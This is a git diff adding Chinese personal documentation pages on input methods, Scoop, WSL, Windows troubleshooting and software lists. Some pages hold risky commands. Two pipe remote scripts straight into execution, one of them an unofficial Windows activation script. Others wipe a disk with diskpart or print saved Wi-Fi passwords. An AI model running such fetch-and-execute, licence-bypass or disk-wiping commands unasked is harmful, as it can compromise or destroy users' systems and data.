cangjie5_express # 倉頡 快打模式 + # - schema: quick5 # 速成 + # - schema: wubi86 # 五筆86 + # - schema: wubi_pinyin # 五筆拼音混合輸入 + # - schema: double_pinyin # 自然碼雙拼 + # - schema: double_pinyin_mspy # 微軟雙拼 + # - schema: double_pinyin_abc # 智慧ABC雙拼 + # - schema: double_pinyin_flypy # 小鶴雙拼 + # - schema: wugniu # 吳語上海話 (新派) + # - schema: wugniu_lopha # 吳語上海話 (老派) + # - schema: sampheng # 中古漢語三拼 + # - schema: zyenpheng # 中古漢語全拼 + # - schema: ipa_xsampa # X-SAMPA 國際音標 + # - schema: emoji # emoji表情 +``` + +根据自己需求选择要启用的输入法. + +使用输入法时按 `F4` 或 `Ctrl` `` ` `` 可以对基本设置进行修改. + +## 皮肤 + +- [类 Windows 10 输入法的皮肤](https://github.com/thep0y/fcitx5-themes-candlelight). + + ![Spring](assets/input_method_skin_spring.png){ width=40% } + +- [类 Windows 10 输入法的皮肤](https://github.com/hosxy/Fcitx5-Material-Color). +- [GitHub 上的皮肤](https://github.com/search?q=fcitx5+theme&type=Repositories). + +## 词库 + +- [雾凇拼音](https://github.com/iDvel/rime-ice), 简体词库. +- [imewlconverter](https://github.com/studyzy/imewlconverter), 词库转换工具. +- [QQ拼音词库](http://cdict.qq.pinyin.cn/v1/). +- [搜狗词库](https://pinyin.sogou.com/dict/detail/index/11640). +- . +- . +- . + +## 参见 + +- [Fcitx5 (简体中文) - ArchWiki (archlinux.org)](https://wiki.archlinux.org/title/Fcitx5_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)). diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Windows/GTK_\345\256\211\350\243\205.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Windows/GTK_\345\256\211\350\243\205.md" new file mode 100644 index 000000000..ff266d29a --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Windows/GTK_\345\256\211\350\243\205.md" @@ -0,0 +1,16 @@ +# GTK 安装 + +```ps1 +python -m pip install --user pipx +python -m pipx ensurepath +pipx install gvsbuild +``` + +```ps1 +gvsbuild build gtk4 --msys-dir "D:\apps\msys2" --vs-install-path "D:\apps\Microsoft Visual Studio" +``` + +## 参考 + +- . +- . diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Windows/Scoop.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Windows/Scoop.md" new file mode 100644 index 000000000..24a530cfd --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Windows/Scoop.md" @@ -0,0 +1,110 @@ +# Scoop + +Scoop 是 Windows 下的软件管理器. 通过该管理器, 用户可以通过一条指令快速安装/卸载/搜索软件. + +## 安装 + +Scoop 安装路径可以通过环境变量 `SCOOP` 指定, 建议选择无需管理员权限的路径. +Scoop 自身以及其所管理的软件将安装在该路径下的 apps 文件夹. + +将下面命令中的 `` 替换为 Scoop 安装路径, 并在 Powershell (需要 5.1 或更高版本) 中执行: + +```ps1 +# 指定 Scoop 安装路径, Scoop 自身以及其所管理的软件将安装在该路径下的 apps 文件夹 +[environment]::setEnvironmentVariable('SCOOP', , 'User') +``` + +通过下面命令安装 Scoop: + +```ps1 +Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser # 给予执行安装脚本的权限 +Invoke-RestMethod -Uri https://get.scoop.sh | Invoke-Expression # 执行 Scoop 安装脚本 +``` + +至此 Scoop 已完成安装, 但若需要完整的 Scoop 基础功能, 还需要执行下面命令: + +```ps1 +# Scoop 中的软件清单使用 Git 进行管理, 如果要更新或添加其他 Bucket 则必须安装 Git +scoop install git + +# sudo 命令可以以管理员权限执行指定命令 +# Scoop 安装软件本身是不需要管理员权限的, 但是添加服务等操作则需要 +scoop install sudo + +scoop install 7zip dark innounp +scoop checkup # 检查是否还存在其他潜在问题 + +# extras 是由 Scoop 官方维护的一个 Bucket, 其中包含了大量常用软件 +scoop bucket add extras +``` + +可以考虑使用 `innounp-unicode` 替代 `innounp`, 详情请见[故障排除](#innounp-unicode). + +## 常用操作 + +```ps1 +scoop search # 搜索应用 +scoop install # 安装应用 +scoop uninstall [-p] # 卸载应用 (包括依赖项), 选项 p 表示同时清除该应用的持久化数据 +scoop update * # 更新全部应用 +scoop list # 列出已安装的全部应用 + +scoop bucket add [repo] # 添加 Bucket +scoop bucket rm # 移除 Bucket +scoop bucket list # 列出添加的 Bucket +``` + +## 查询频次限制 + +由于 `scoop search` 命令需要调用 API, 因此有调用频次限制. 可以通过设置个人 GitHub 账号的 token 来放宽限制. + +```ps1 +scoop config gh_token +``` + +创建新的 Personal access token: . + +详情请参考 [Scoop Wiki](https://github.com/ScoopInstaller/Scoop/wiki/Using-Scoop-behind-a-proxy). + +## 多线程下载 + +通过下面命令安装 aria2 (多连接下载) 后, Scoop 将自动调用 aria2 下载: + +```ps1 +scoop install aria2 +# 关闭 aria2 启用警告. 由于 Scoop 在安装 aria2 后会自动调用 aria2, 这可能是用户意料外的行为, 所以会弹出警告通知用户 +scoop config aria2-warning-enabled false +``` + +## 网络代理 + +```ps1 +scoop config proxy [username:password@]host:port # 设置网络代理 +``` + +## 故障排除 + +### innounp-unicode + +```txt +WARN Purging previous failed installation of ollama. +ERROR 'ollama' isn't installed correctly. +Removing older version (0.2.3). +'ollama' was uninstalled. +Installing 'ollama' (0.2.3) [64bit] from 'main' bucket +Loading OllamaSetup.exe from cache +Checking hash of OllamaSetup.exe ... ok. +Extracting OllamaSetup.exe ... ERROR Exit code was 1! +Failed to extract files from D:\scoop\apps\ollama\0.2.3\OllamaSetup.exe. +Log file: + D:\scoop\apps\ollama\0.2.3\innounp.log + +Please try again or create a new issue by using the following link and paste your console output: +https://github.com/ScoopInstaller/Main/issues/new?title=ollama%400.2.3%3a+decompress+error +``` + +```ps1 +scoop uninstall innounp +scoop bucket add versions +scoop install versions/innounp-unicode +``` diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Windows/WSL.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Windows/WSL.md" new file mode 100644 index 000000000..7ae27e759 --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Windows/WSL.md" @@ -0,0 +1,33 @@ +# WSL + +**全称**: Windows Subsystem for Linux. + +## 启用 WSL + +- 方法 1 + + 以管理员身份运行 PowerShell 后执行下面命令: + + ```ps1 + Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux + ``` + +- 方法 2 + + 打开 `optionalfeatures.exe`, 勾选 Windows Subsystem for Linux. + + !!! tip + 该步骤需要重启计算机. + +## 安装 Linux 发行版 + +从 [Microsoft Store](ms-windows-store://search/?query=WSL) 中寻找合适的 Linux 发行版 (如: [Ubuntu 20.04.4 LTS](https://www.microsoft.com/store/productId/9MTTCL66CPXJ)). 点击 `Get` 获取并点击 `Install` 进行下载安装. + +## 故障排除 + +- `WslRegisterDistribution failed with error: 0x800701bc` + +- `WslRegisterDistribution failed with error: 0x80370102` + 打开 `optionalfeatures.exe`, 勾选 Hyper-V. + +其余故障均可根据错误描述进行排除. diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Windows/Windows_\345\214\205\347\256\241\347\220\206.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Windows/Windows_\345\214\205\347\256\241\347\220\206.md" new file mode 100644 index 000000000..f5b4afb59 --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Windows/Windows_\345\214\205\347\256\241\347\220\206.md" @@ -0,0 +1,7 @@ +# Windows 包管理 + +常见的 Windows 包管理器有: + +- [scoop](Scoop.md). +- [winget](https://github.com/microsoft/winget-cli). +- [choco](https://github.com/chocolatey/choco). diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Windows/Windows_\346\225\205\351\232\234\346\216\222\351\231\244.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Windows/Windows_\346\225\205\351\232\234\346\216\222\351\231\244.md" new file mode 100644 index 000000000..df6755d10 --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Windows/Windows_\346\225\205\351\232\234\346\216\222\351\231\244.md" @@ -0,0 +1,62 @@ +# Windows 故障排除 + +## 开机时 Num Lock 自动启用 + +```bat +reg add "HKEY_USERS\.DEFAULT\Control Panel\Keyboard" /v InitialKeyboardIndicators /t REG_DWORD /d 0 /f +``` + +- 0: 表示关闭所有指示器. +- 1: 表示开启Caps Lock (大写键). +- 2: 表示开启Num Lock (小键盘). +- 4: 表示开启Scroll Lock(在 Thinkpad 中与 Num Lock 是相同的). + +## 电源管理中没有"关闭盖子动作"选项 + +- 方法1 + + 设置位于 `Control Panel\All Control Panel Items\Power Options\System Settings`. + + 运行 `gpedit.msc` 并打开路径 `Local Computer Policy/Computer Configuration/Administrative Templates/System/Power Managment/Button Settings`. + 启用其中的 `Select the lid switch action` 并设置一个动作. + 若选项无法修改, 则取消以上操作. + +- 方法2(可能无效) + + ```bat + REM 开启选项 + REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\4f971e89-eebd-4455-a8de-9e59040e7347\5ca83367-6e45-459f-a27b-476b1d01c936 /v Attributes /t REG_DWORD /d 2 /f + + REM 关闭选项 + powercfg -attributes SUB_BUTTONS 5ca83367-6e45-459f-a27b-476b1d01c936 +ATTRIB_HIDE + ``` + +## 删除 MISO EFI 分区 + +磁盘管理器中无法对 MISO EFI 分区进行任何操作. 下面操作可以清空整个**盘**: + +```bat +diskpart +list disk +sel disk +clean +``` + +```bat +list part +sel part +del part override +``` + +## 打开启动项文件夹 + +运行 `shell:startup`. + +## 显示连接过 Wi-Fi 的密码 + +``` +REM SSID 填写 * 显示全部连接过 Wi-Fi 的密码 +netsh wlan show profile name="" key=clear +``` + +明文密码位于 `Security settings->Key Content`. \ No newline at end of file diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Windows/Windows_\347\233\270\345\205\263.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Windows/Windows_\347\233\270\345\205\263.md" new file mode 100644 index 000000000..44883a7cc --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Windows/Windows_\347\233\270\345\205\263.md" @@ -0,0 +1,19 @@ +# Windows 相关 + +## 跳过联网/MS账号登录 + +首先需要确保计算机处于离线状态. 然后按下 `Shift` + `F10` 打开命令行, 然后输入下面命令: + +```ps1 +oobe\bypassnro +``` + +随后计算机会重启, 连接网络的步骤现在可以点击 "I don't have internet" 跳过. + +## 激活 + +```ps1 +irm massgrave.dev/get | iex +``` + + diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/\344\270\252\344\272\272\345\270\270\347\224\250\350\275\257\344\273\266.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/\344\270\252\344\272\272\345\270\270\347\224\250\350\275\257\344\273\266.md" new file mode 100644 index 000000000..64b739327 --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/\344\270\252\344\272\272\345\270\270\347\224\250\350\275\257\344\273\266.md" @@ -0,0 +1,66 @@ +# 个人常用软件 + +| 类型 | 软件 | +|-------------------|-----------------------------------------| +| 操作系统 | Windows, Linux | +| 浏览器 | Microsoft Edge, Tor Browser, Firefox | +| 即时通讯 | Telegram, Matrix (Element) | +| 编辑器 | VSCodium, VSCode, Zed, Neovim | +| PDF 阅读器 | Microsoft Edge | +| 终端模拟器 | WezTerm | +| 桌面环境 | Plasma, Gnome | +| Shell | Fish | +| 字体 | Cascadia Code | +| 邮件客户端 | Thunderbird Desktop, Thunderbird Mobile | +| 办公软件 | LibreOffice | +| 文件归档器 | 7-Zip | +| BitTorrent 下载器 | qBittorrent | + +## 描述 + +### 浏览器 + +- **Microsoft Edge**: 跨平台, 最好的使用体验, 内存占用低. +- **Firefox**: 开源/跨平台, 至少 PDF 阅读器的性能远高于 Microsoft Edge. + +### 编辑器 + +- **VSCodium**: 开源/跨平台, 最成熟, 相比 VSCode 存在一定限制. +- **VSCode**: 跨平台, 最成熟. +- **Zed**: 开源/跨平台, **正在尝试中**. 🦀 +- **Neovim**: 开源/跨平台. + +### 即时通讯 + +- **Telegram**: 客户端开源/跨平台, 最好的使用体验, 以隐私换取功能. +- **Matrix**: 开源/跨平台, 以功能换取自由. + +### 终端模拟器 + +- **WezTerm**: 开源/跨平台, **开发停滞**. 🦀 + +### 桌面环境 + +- **Plasma**: 开源, 对**分数倍缩放**支持较好. +- **Gnome**: 开源, 美观. + +### 邮件客户端 + +- **Thunderbird Desktop**: 开源/跨平台, 支持 PGP. +- **Thunderbird Mobile**: 开源, 支持 PGP. + +### 办公软件 + +- **LibreOffice**: 开源/跨平台. + +## 放弃/拒绝使用 + +- **Ghostty (v1.0.1)**: 不支持 HiDPI. +- **WhatsApp**: 依赖通讯录以及手机号, 不跨平台, Meta 公司的产品. +- **Signal**: 依赖手机号. +- **OnlyOffice**: 商业化, 非自由软件. 与 LibreOffice 相比, 对 MS Office 的兼容更好. +- **Thunderbird (< 128)**: 无法正常使用 Outlook 邮箱, UI 过时. + +## 参见 + +- diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/\345\217\214\347\263\273\347\273\237\346\227\266\351\227\264\344\270\215\344\270\200\350\207\264.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/\345\217\214\347\263\273\347\273\237\346\227\266\351\227\264\344\270\215\344\270\200\350\207\264.md" new file mode 100644 index 000000000..aa86dbaae --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/\345\217\214\347\263\273\347\273\237\346\227\266\351\227\264\344\270\215\344\270\200\350\207\264.md" @@ -0,0 +1,36 @@ +# 双系统故障排除 + +## 时间不一致 + +### 原因 + +Linux 默认将硬件时间理解为 UTC 时间,而 Windows 则理解为是本地时间. + +### 解决方案 + +- Windows 使用 UTC + + ```bat + reg add HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation /v RealTimeIsUniversal /t REG_DWORD /d 1 + ``` + + 然后重启系统. + +- Linux 使用本地时间 + + ```sh + # 方法 1 (待验证) + timedatectl set-local-rtc 1 --adjust-system-clock # 使用 localtime + sudo timedatectl # 验证时间 + + # 方法 2 (待验证) + sudo timedatectl set-local-rtc 1 + sudo hwclock --localtime --systohc + ``` + +## Grub 被 Windows 更新覆盖 + +!!! warning + 下面方法未经过测试. + +BIOS 从 EFI 文件启动 Linux, 然后重新安装 Grub. diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/\345\270\270\347\224\250\345\277\253\346\215\267\351\224\256.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/\345\270\270\347\224\250\345\277\253\346\215\267\351\224\256.md" new file mode 100644 index 000000000..4da8732da --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/\345\270\270\347\224\250\345\277\253\346\215\267\351\224\256.md" @@ -0,0 +1,71 @@ +# 常用快捷键 + +## 文字编辑 + +| | | +| ---------- | ----------- | +| `Ctrl` `C` | 复制 (copy) | +| `Ctrl` `X` | 剪切 | +| `Ctrl` `V` | 粘贴 | +| `Ctrl` `A` | 全选 | +| `Ctrl` `Z` | 撤销 | + +## 桌面应用 + +| | | +| ---------------------- | -------------------- | +| `Ctrl` `S` | 保存 (save) | +| `Ctrl` `Shift` `S` | 另存为 (save as) | +| `Ctrl` `F` | 查找 (find) | +| `Ctrl` `Z` | 撤销 | +| `Ctrl` `Y` | 重做 | +| `Ctrl` `W` | 关闭标签页 | +| `F2` | 重命名 | +| `F5` | 刷新 | +| `F11` | 全屏/窗口化 | +| `Ctrl` `PG UP`/`PG DN` | 上一个/下一个 标签页 | +| `Alt` `⬅`/`➡` | 上一步/下一步 | +| 鼠标侧键4/5 | 上一步/下一步 | +| `Ctrl` 鼠标滚轮 | 调整缩放 | +| `Ctrl` `+`/`-`/`0` | 调整缩放 | +| `Ctrl` `N` | 新建 | +| `Ctrl` `O` | 打开 | +| `Ctrl` `Tab` | 切换标签页 | +| `Alt` `Tab` | 切换应用窗口 | + +## Windows + +| | | +| ----------------------- | ------------------------------- | +| `Super` `Shift` `S` | 打开截屏 (snapping) | +| `Super` n | 打开任务栏第 n 个程序 | +| `Super` `E` | 打开文件管理器 (explorer) | +| `Super` `L` | 上锁 (lock) | +| `Super` `I` | 打开设置 | +| `Super` `H` | 打开语音输入 | +| `Alt` `F4` | 关闭窗口 | +| `Shift` `DEL` | 直接删除文件(不经过回收站) | +| `Super` `⬆`/`⬇`/`⬅`/`➡` | 操作窗口 | +| `Super` `Shift` `⬅`/`➡` | 将窗口移动到 上一个/下一个 桌面 | + +## 浏览器 + +| | | +| --------------- | ---------------- | +| 鼠标中键 | 新标签打开页面 | +| `Ctrl` 鼠标左键 | 新标签打开页面 | +| `Ctrl` `T` | 打开新标签 (tab) | +| `Ctrl` `L` | 打开地址栏 | +| `Ctrl` `R` | 刷新 (refresh) | + +## 游戏 + +| | | +| ------------- | ----------- | +| `Alt` `Enter` | 全屏/窗口化 | + +## 参见 + +- 查询具体应用的快捷键. +- 查询具体应用的快捷键. +- [Microsoft Edge 快捷键](https://support.microsoft.com/en-us/microsoft-edge/keyboard-shortcuts-in-microsoft-edge-50d3edab-30d9-c7e4-21ce-37fe2713cfad). diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/\345\270\270\347\224\250\350\275\257\344\273\266.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/\345\270\270\347\224\250\350\275\257\344\273\266.md" new file mode 100644 index 000000000..5e0be3010 --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/\345\270\270\347\224\250\350\275\257\344\273\266.md" @@ -0,0 +1,370 @@ +# 常用软件 + +## 跨平台 + +### 浏览器 + +| 名称 | 描述 | 包名 | +|------------------|---------------------|------------------------------------------------------------------| +| [Microsoft Edge] | 浏览器, 跨平台. | `microsoft-edge-stable-bin` (AUR)/`com.microsoft.Edge` (flatpak) | +| [Firefox] | 浏览器, 开源, 跨平台. | `firefox` (pacman/scoop) | +| [Tor Browser] | 浏览器, 开源, 跨平台. | `tor-browser` (AUR/scoop) | +| [Chrome] | 浏览器, 跨平台. | | + +[microsoft edge]: https://www.microsoft.com/en-us/edge +[firefox]: https://www.mozilla.org/en-US/firefox/ +[tor browser]: https://www.torproject.org/download/ +[chrome]: https://www.google.com/intl/en-US/chrome/ + +### 通讯 + +| 名称 | 描述 | 包名 | +|---------------|------------------------------------------------------|-----------------------------------------------------| +| [Element] | Matrix 客户端, 跨平台. | `element-desktop` (pacman) | +| [Telegram] | Telegram 桌面端, 开源, 跨平台. | `org.telegram.desktop` (flatpak)/`telegram` (scoop) | +| [Thunderbird] | 集成了邮件, 日历, 联系人, IRC, Web Feed, 开源, 跨平台. | `thunderbird` (pacman) | +| [WeChat] | WeChat 客户端. 基本功能不完善, 无云同步, 跨平台. | `com.qq.weixin.spark` (AUR)/`wechat` (scoop) | +| QQ | QQ 客户端. | `com.qq.QQ` (flatpak) | + +[element]: https://element.io/ +[telegram]: https://github.com/telegramdesktop/tdesktop +[thunderbird]: https://www.thunderbird.net/ +[wechat]: https://www.wechat.com/ + +### 娱乐 + +| 名称 | 描述 | 包名 | +|--------------------|-------------------------------|------------------------------------------------| +| [OBS Studio] | 录屏/推送流, 开源, 跨平台. | `obs-studio` (pacman/scoop) | +| [QQ Music] | 音乐播放器和在线音乐库, 跨平台. | `qqmusic-bin` (AUR)/`com.qq.QQmusic` (flatpak) | +| [VLC media player] | 媒体播放器, 开源. | `vlc` (pacman) | + +[obs studio]: https://obsproject.com/ +[qq music]: https://y.qq.com/ +[vlc media player]: https://www.videolan.org/ + +### 编程 + +| 名称 | 描述 | 包名 | +|----------------------|----------------------------------------------------|----------------------------------------------------| +| [Visual Studio Code] | 轻量 IDE, 开源. | `com.visualstudio.code` (flatpak)/`vscode` (scoop) | +| [Zed] | 轻量 IDE, 开源. 🦀 | `dev.zed.Zed` (flatpak)/`zed-nightly` (scoop) | +| [Neovim] | 现代 VIM, 开源. | `neovim` (pacman) | +| [Neodive] | Neovim GUI, 开源, 跨平台. | `neodive` (pacman) | +| [RenderDoc] | GPU 分析工具, 开源. | `renderdoc` (AUR) | +| [CLion] | C/C++ IDE. | `clion` (pacman) | +| [Git] | 版本控制, 开源, 跨平台. | `git` (pacman) | +| [GitHub CLI] | GitHub CLI, 开源, 跨平台. | `github-cli` (pacman) | +| [GitHub Desktop] | Git GUI, 跨平台, 简洁, 开源, 目标仅为 GitHub 服务. | `github` (scoop) | +| [GitKraken] | Git GUI, 跨平台, 部分功能收费. | `gitkraken` | +| [Lazygit] | Git CLI, 跨平台, 开源. | `lazygit` (scoop) | +| [Gitui] | Git CLI, 跨平台, 快速, 开源. | `gitui` (scoop) | + +- GitKraken: 如果已为 Git 配置了代理服务器不建议使用 `GitKraken`, 可能会导致错误. + +[visual studio code]: https://code.visualstudio.com/ +[zed]: https://zed.dev/ +[neovim]: https://neovim.io/ +[neodive]: https://github.com/neovide/neovide/ +[clion]: https://www.jetbrains.com/clion/ +[renderdoc]: https://renderdoc.org/ +[git]: https://git-scm.com/ +[github cli]: https://cli.github.com/ +[github desktop]: https://desktop.github.com/ +[gitkraken]: https://www.gitkraken.com/ +[lazygit]: https://github.com/jesseduffield/lazygit +[gitui]: https://github.com/extrawurst/gitui + +### 工具 + +| 名称 | 描述 | 包名 | +|--------------------|-------------------------------------|---------------------------| +| [Krita] | 板绘, 开源, 跨平台. | `krita` (pacman/scoop) | +| [Blender] | 3D 建模, 开源, 跨平台. | `blender` (pacman) | +| [Shotcut] | 视频剪辑, 开源. | `shotcut` (pacman/scoop) | +| [Kdenlive] | 视频剪辑, 开源, 跨平台. | `kdenlive` (scoop) | +| [Eudic] | 词典, 跨平台. | `eudic` (AUR) | +| [kiwix-js-windows] | ZIM 阅读器, 开源, Linux/Windows 平台. | | +| [Buzz] | 音视频语言识别, 开源, 跨平台. | | +| [FBReader] | 电子书阅读器 | `fbreader` (pacman/scoop) | +| [Maltego] | 信息收集, 跨平台. | `maltego` (pacman) | + +[krita]: https://krita.org/ +[blender]: https://www.blender.org/ +[shotcut]: https://shotcut.org/ +[kdenlive]: https://github.com/KDE/kdenlive +[eudic]: https://www.eudic.net/v4/en/app/eudic/ +[kiwix-js-windows]: https://github.com/kiwix/kiwix-js-windows +[buzz]: https://github.com/chidiwilliams/buzz +[fbreader]: https://fbreader.org/ +[maltego]: https://www.maltego.com/ + +### 终端 {#terminal} + +| 名称 | 描述 | 包名 | +|------------|------------------------------------------------------|---------------------------| +| [wezterm] | 终端模拟器, 支持 GPU 加速的, 跨平台. 🦀 | `wezterm` (pacman/scoop) | +| [eza] | ls 命令替代, 更丰富的色彩, 快速, 开源, 跨平台. 🦀 | `eza` (pacman/scoop) | +| [zoxide] | cd 命令替代, 更加智能. 🦀 | `zoxide` (pacman/scoop) | +| [bat] | cat 命令替代, 代码高亮, 集成 Git, 开源. 🦀 | `bat` (pacman/scoop) | +| [btop] | top 命令替代, 美观的界面, 缺少 GPU 信息, 开源, 跨平台. | `btop` (pacman/scoop) | +| [lf] | 文件管理器, 开源. | `lf` (scoop) | +| [loc] | 代码行数统计, 快速, 开源. 🦀 | | +| [scc] | 代码行数统计, 快速, 开源. | `scc` (AUR) | +| [termusic] | 音乐播放器, 跨平台, 开源. | `termusic` (pacman/cargo) | +| [glow] | Markdown 预览, 开源. | `glow` (pacman/scoop) | +| [starship] | 命令提示符, 跨 Shell, 跨平台, 开源. 🦀 | `starship` (pacman/cargo) | + +[wezterm]: https://github.com/wez/wezterm +[eza]: https://github.com/eza-community/eza +[zoxide]: https://github.com/ajeetdsouza/zoxide +[bat]: https://github.com/sharkdp/bat +[btop]: https://github.com/aristocratos/btop +[lf]: https://github.com/gokcehan/lf +[loc]: https://github.com/cgag/loc +[scc]: https://github.com/boyter/scc +[termusic]: https://github.com/tramhao/termusic +[glow]: https://github.com/charmbracelet/glow +[starship]: https://github.com/starship/starship + +### 云盘 + +| 名称 | 描述 | 包名 | +|--------|-----------------------------------------|------------------------------| +| 阿里云盘 | 速度一般, 容量大, 不适合分享文件. | `aliyunpan-liupan1890` (AUR) | +| 百度网盘 | 速度慢, 容量大, 不适合分享体积较大的文件. | `baidunetdisk-bin` (AUR) | + +### 游戏 + +| 名称 | 描述 | 包名 | +|-----------------|---------------------|--------------------------| +| [Steam] | 游戏平台, 跨平台. | `steam` (pacman) | +| [Cataclysm-DDA] | 回合制, 开源, 跨平台. | `cataclysm-dda` (pacman) | + +[steam]: https://store.steampowered.com/ +[cataclysm-dda]: https://github.com/CleverRaven/Cataclysm-DDA + +### 字体 + +| 名称 | 描述 | 包名 | +|-------------------------------|-----------------------------|------------------------| +| [Cascadia Code] | 连体字, 等宽, 开源. | | +| [Nerd Font] | 字元图标. | | +| Cascadia Code NF | 带 Nerd Font 的 Cascadia Code | ttf-cascadia-code-nerd | +| [Source Han Serif (思源宋体)] | 开源, 免费, 粗体. | | + +[cascadia code]: https://github.com/microsoft/cascadia-code +[nerd font]: https://www.nerdfonts.com/ +[Source Han Serif (思源宋体)]: https://source.typekit.com/source-han-serif/ + +--- + +## Windows + +### 安全 + +| 名称 | 描述 | +|------------|-----------------------------| +| [火绒安全] | 轻量, 主动防御, 查杀能力弱. | +| 腾讯电脑官家 | | + +[火绒安全]: https://www.huorong.cn/ + +### 效率 + +| 名称 | 描述 | 包名 | +|------------------|-----------------------|----------------------| +| [PowerToys] | 实用程序集合, 开源. | `powertoys` (scoop) | +| [Everything] | 快速的硬盘文件搜索. | `everything` (scoop) | +| [Power Automate] | 自动化流程, 可视化编程. | | + +[powertoys]: https://github.com/microsoft/PowerToys/ +[everything]: https://www.voidtools.com/ +[power automate]: https://powerautomate.microsoft.com/ + +### 游戏 + +| 名称 | 描述 | +|--------------|-------| +| [Epic Games] | | +| [GOG GALAXY] | :bug: | + +[epic games]: https://www.epicgames.com/ +[gog galaxy]: https://www.gog.com/ + +### 云盘 + +| 名称 | 描述 | +|--------|------| +| 天翼云盘 | | + +### 编程 + +| 名称 | 描述 | +|-----------------|------| +| [Visual Studio] | IDE. | + +[visual studio]: https://www.visualstudio.com/ + +### 工具 + +| 名称 | 描述 | +|--------------|-------------------------| +| [EnergyStar] | 为非活动进程启动效率模式. | +| [IDA Pro] | 软件逆向分析, **收费**. | +| [VMware] | 虚拟机. | +| [HD Tune] | 磁盘检查工具. | + +[ida pro]: https://hex-rays.com/ida-pro/ +[vmware]: https://www.vmware.com/ +[hd tune]: https://www.hdtune.com/index.html +[energystar]: https://github.com/imbushuo/EnergyStar + +--- + +## Linux + +### 通讯 + +| 名称 | 描述 | 包名 | +|---------|---------------------|--------------------| +| weechat | IRC 客户端, 基于 TUI. | `weechat` (pacman) | + +### 工具 + +| 名称 | 描述 | 包名 | +|------------------|----------------------------|---------------------------------------------| +| Timeshift | 系统备份/还原, 增量快照. | `timeshift` (AUR) | +| Mission Center | 外形类似 Win10 的任务管理器. | `io.missioncenter.MissionCenter` (flatpak) | +| Metadata Cleaner | 元数据擦除器. | `fr.romainvigier.MetadataCleaner` (flatpak) | + +### 终端 + +| 名称 | 描述 | 包名 | +|------------------|---------------------------------------------|-------------------------------------| +| [ripgrep] | grep 命令替代, 开源, 快速. | `the_silver_searcher` (pacman) | +| [delta] | git pager 替代, 代码高亮, 并排视图等. 🦀 | `git-delta` (pacman) | +| [fd] | find 命令替代, 快速, 易用. 🦀 | `fd` (pacman) | +| [difft] | diff 命令替代, 基于编程语言语法的差异比较. 🦀 | `difftastic` (pacman) | +| [tldr] | man 命令拓展, 以例子的形式展示命令用法. | `tldr` (pacman) | +| ncdu | 磁盘空间占用分析, 检查并删除不必要的文件. | `ncdu` (pacman) | +| [Powerlevel10k] | 终端提示符自定义. | `zsh-theme-powerlevel10k-git` (AUR) | +| [Wudao-dict] | 有道词典 CLI. | | +| [cppman] | 查询 C++ 标准库文档, 可以缓存到本地离线查看. | cppman (AUR/pip) | +| [hackernews_tui] | 浏览 Hacker News. 🦀 | | +| [thefuck] | 自动更正上一条命令. | | + +- cppman + + 将页面添加到 man 中: + + ```sh + cppman -c # 缓存 cppreference.com 中的内容, 该步骤需要较长时间 + cppman -m true + touch ~/.manpath + mandb + ``` + +[ripgrep]: https://github.com/BurntSushi/ripgrep +[delta]: https://github.com/dandavison/delta +[fd]: https://github.com/sharkdp/fd +[difft]: https://github.com/Wilfred/difftastic +[tldr]: https://github.com/tldr-pages/tldr +[powerlevel10k]: https://github.com/romkatv/powerlevel10k +[wudao-dict]: https://github.com/ChestnutHeng/Wudao-dict +[cppman]: https://github.com/aitjcize/cppman +[hackernews_tui]: https://github.com/aome510/hackernews-TUI +[thefuck]: https://github.com/nvbn/thefuck + +### 游戏 + +| 名称 | 描述 | 包名 | +|-----------|-----------|----------------------| +| typioca | 打字. | `typioca` (AUR) | +| typespeed | 打字. | `typespeed` (pacman) | +| mitype | 打字. | `mitype`(pip) | +| scol | 扑克牌游戏. | `csol` (AUR) | + +### [输入法](Linux/输入法.md) + +### 驱动 + +| 名称 | 描述 | 包名 | +|-----------------|-------------------------|------------------------| +| [OpenRazer] | 雷蛇开源驱动. | `openrazer-meta` (AUR) | +| [polychromatic] | OpenRazer 前端, GUI, CLI. | `polychromatic` (AUR) | + +- polychromatic. + + 确保后端安装完毕按照 Troubleshoot 的指示进行操作即可. + +[openrazer]: https://openrazer.github.io/ +[polychromatic]: https://polychromatic.app/ + +### 电源管理 + +| 名称 | 描述 | 包名 | +|----------|-------------------|------------------------------| +| TPL | 自动电源管理. | `tlp` 